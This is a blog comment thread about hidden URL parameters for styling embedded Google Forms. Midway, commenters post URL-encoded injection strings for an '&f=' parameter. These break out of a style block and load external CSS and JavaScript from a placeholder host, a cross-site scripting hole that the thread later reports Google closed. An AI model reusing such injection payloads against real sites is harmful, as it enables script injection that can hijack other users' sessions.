Fsteff

Good stuff - what on earth do you think the tfe is supposed to do? Test format something?

It's like the "pli=0" on my form that neither ahab nor I can figure out - at least that seems to do nothing even when set wrong!

This post has been removed by the author.

Gill, Great to hear from you.

I have no idea about the &tfe parameter in the embedform, but they thought it important enough to also have in the the viewform - at the only parameter. (As far I I could find, I ran a similar test as I did on embedform). It might be some sort of redirection, for debugging purpus - but sofar it remains a great mystery.

So does the &pli=0 that you found. Especially since I found no change from the normal query, if I added the &pli=0. The same was true with some of your other reported options. Did you test it recently? Is it still working. Could it be regional dependant? I've used English regional settings in my browsers and Danish regional settings in the Rebol script.

I hope to explore this trick more...

--
Fsteff

can i add a background picture to the form?

hi there, I also wanted to get a way around with the google forms.
I wanted my page to redirect to another page once I click the submit button, Can it be done?
I have used the forms with my own css , you can check it out here(its not that good, I did what I could do best :) http://solidintl.edu.np/contact.php

I just realized that you can change the background provided the color is specified in R, G and B values and not with a hex value starting with a # (which is filtered by the browser), such as this:

;}.ss-form-container{background:rgb(156,165,120) !important

Additionally you can add an image this way:

;}.ss-form-container{background:rgb(156,165,120)%20url('http://tigerlilly.dk/fsteff/images/Fsteff-party.jpg')%20top%20no-repeat%20!important;

As for redirecting to another "Thank you" page, I still haven't found a way to do it.

Hi Pramod,

I just checked out your link. Looks pretty good, IMHO.
But I don't see you using the actual embedform that we were discussing here.

To use your own CSS file, for example: http://yourdomain.com/example.css

use "\" for special characters

Insert this at the end of the url:
&f=;}\%3C\/style\%3E\%3Cstyle%20type\=\%22text\/css\%22\%3E\@import%20url\%28http\:\/\/yourdomain\.com\/example\.css\%29\;{

Great input Nicodicoco,
Thanks!!

It never occurred to me to use "\"... for some reason I had assumed it would be the first thing they would filter.

But your input immediately made me realize how to also inject javascript into the form!

I've updated your example to allow to inject both example.css and example.js from http://yourdomain.com, which just requires the following to be added to the end of the URL:

&f=;}\%3C\/style\%3E\%3Cscript%20type\=\%22text\/javascript\%22%20src\=\%22http\:\/\/yourdomain\.com\/example\.js\%22\%3E\%3C\/script\%3E\%3Cstyle%20type\=\%22text\/css\%22\%3E\@import%20url\%28http\:\/\/yourdomain\.com\/example\.css\%29\;{

By also injecting jacascript, it should be possible to validate the form contents before the form is send (which removes the problem of reloading the form.) It might also be possible to change the "thank you" form... It'll even be possible to add cookies to prefill parts of a form, such as names etc...

I'll see if I can make an example of it "in action" sometimes during the weekend.


Now my lunch break is over....

not working anymore???

:-(

Seems like the &f hole has been closed by Google. :-(


Hopefully they see how a better forms implementation is really needed soon.

Fortunately it has been closed. And fortunately no one managed to really exploit it as the results could have been very serious. I made a little post on my blog regarding how serious impacts Google's XSS vulnerabilities might have. http://buzer.net/blog/index.php?title=risks_of_google_s_cross_site_scripting_v&more=1&c=1&tb=1&pb=1

Buzer,

Thank you for also pointing out how it could be exploited in a bad way. I didn't see it as anything but a good opportunity to manually do what Google hadn't allowed us to do with the Forms... Things I'm still hoping they will do as soon as possible.

I've just noticed that of the text color parameters, the only ones which work now are &htc (field explanatory note) and &lc (footer links).
Are there any workarounds?

Hi,

Here you can find another way to style, validate and redirect your google forms. Different tricks but works prety good :)

http://www.morningcopy.com.au/how-to-style-google-forms/

Seb

Thanks a lot !!!!! Great !!!!!!